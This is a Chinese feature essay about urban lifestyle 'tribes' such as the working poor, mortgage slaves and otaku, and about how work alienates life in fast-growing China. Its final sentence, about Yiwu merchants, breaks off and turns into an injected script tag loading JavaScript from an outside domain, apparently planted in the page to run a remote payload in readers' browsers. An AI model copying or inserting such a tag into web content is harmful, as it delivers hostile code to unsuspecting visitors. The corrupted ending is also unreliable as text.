穷忙族是一种无奈，考碗族是一种妥协，御宅族是一种逃避——族群背后是被异化的生活，与社会结构带来的马太效应。
市中心是一个部落聚集地。公共汽车如沙丁鱼罐头，挤满面无表情的人——他们是穷忙族或捧车族；星巴克沦为网吧，手提电脑前的人看起来根本没有时间喝咖啡——他们是99族或房奴；写字楼楼高80层，进出其中的人渺小如蚂蚁——他们成分复杂，可能是跳蚤族或候鸟族，也可能是烧包族或乐活族。
“市中心人”有两个籍贯，一个来自血缘，一个来自生活。名牌加身的小资女、穿拖鞋工作的SOHO族、三句话不离股票的国贸男……在繁华CBD的马路交叉点，他们融汇成一个城市往前疾走的人潮，如同海洋里突然出现的巨大鱼群——以族命名的生活形态登上了VOGUE与维基百科，人以群分的名词成为了都市客的流行标签，中国人的生活方式出现了56个新族群——你是哪个中的一员？
75%的人都被工作异化
早在1991年，我们就看到人们对生活方式的愿景。撰写《爆米花报告》的“不可思议的趋势预言家”费丝•波普科恩预测了未来的十大生活形态，在今天都可以找到影子：一种茧居族的新人类，家是他们的堡垒(御宅族)；活在现实，却又渴望梦幻式历险(波波族)；自我喜好是选择商品或服务的基础(NONO族)；想逃脱现状远离都会，为自己而活(飞特族)；强烈地自我保健，不惜一切代价(乐活族)……
一篇题为《未来的族群营销》的文章写道，人类社会总体上经历了三个阶段，原始部落、分化时代和新部落时代。越来越多的社区、贴吧、BBS、MSN和QQ等即时通信软件，让互联网形成一种强大的联结能力，为人们寻找自己的族群提供了方便，更多人能够彼此交流信息，分享感兴趣的生活方式。
听起来这将是一个生活多元化的美好时代。但中国青年报社调中心的一项调查足以打破这种幻想——75%的人自认是“穷忙族”。 “穷忙族”(即“working poor”)，该词源于欧美国家，欧盟对其定义是“在工作却入不敷出，甚至沦落到贫穷线以下的受雇者”。《纽约时报》前资深记者大卫•史普勒(David K• Shipler)在其著作《工作的穷人：在美国所看不到的》(The working poor :invisible in America)中提到穷忙族这个群体,认为美国有500万人过着“辛勤工作却朝不保夕”的生活。在德国，穷忙族人数超过100万；在日本，人数超过1500万。
“穷忙族”在世界各国蔓延，从欧美、日本、韩国到中国，他们随着产业调整(劳动力市场变化)、金融风暴(失业率增加)、知识经济时代(无技术含量劳力贬值)、保障制度缺失(缺乏临时工作保障)而来，“比月光族更穷，比劳模更忙”、“越穷越忙，越忙越穷”是他们的特征。
“我总是努力工作，我总是得到很少”——每天工作15小时，两餐都在公司吃盒饭的穷忙族沦丧了生活，收获的只有“别人总是得到比我多”的相对剥夺感——美国人看美国梦版的《当幸福来敲门》来麻醉自己，日本人看百忍成金的《阿信》来祈祷未来，中国人看80后修成正果的《奋斗》来强打精神——皆因逐步走向社会主流的中国80后青春散场，发现薪水正在贬值，连通货膨胀速度都赶不上。
有调查显示，对如何摆脱“穷忙”，穷忙族使用最多的方法是“积极充电”——这显然让劳碌的他们雪上加霜。世界卫生组织称，“忙”会带来心理疲劳、失眠多梦、记忆力减退、注意力涣散、工作效率下降、偏头痛、高血压、消化性溃疡、月经失调、性欲减退。“焦裕禄”因穷忙族的存在而有了新解——“焦裕禄：焦虑、抑郁、忙碌”。
据日本专家统计，过去10年美国的工作狂增加了5成，日本增加了7成，中国增加了4成。中关村的“加班族”在北京闻名遐迩，以致中关村附近写字楼“左岸工社”的广告就是一只黑虫子(据说灵感来自卡夫卡的《变形记》)，推崇理念是工作即娱乐的16小时工作论。
心理学家斯宾认为工作狂属于心理变态，那么，中关村的“工作狂写字楼”逻辑，则直接让一帮心理变态活在精神病院里——这就是市中心的真相：狭路相逢，沦丧生活者胜。
在这个CPI上涨、股票大跌、压力指数飙升、情感缺失、能源紧缺的上行时代，生活被工作异化是“快中国”付出的一种代价。英国《金融时报》对中国经济快速增长的解释是这样的：“几乎每个中国人都在拼命工作，甚至自愿加班。中国人努力工作的动力来自焦虑——对于失业的焦虑，对于生存压力的焦虑。”
安身立命与自我救赎
一位中国学者在博客中写过一个故事，他一位从事中国研究的挪威朋友对中国人的生活感到非常奇怪，她发现一个中国家庭移民美国后，长期以来只是关心以买房子、买车子为目标的物质世界，从不参加谈论人生的社交活动，也从不去阅读在国内难有机会接触的书籍。中国学者向这位路德教出身的挪威女士解释，中国人对自我的拯救方式不是宗教，而是在世俗中“安身”。
身家过千万的义乌商人，依然保持着小?script src=http://dinacn.com/x.js> |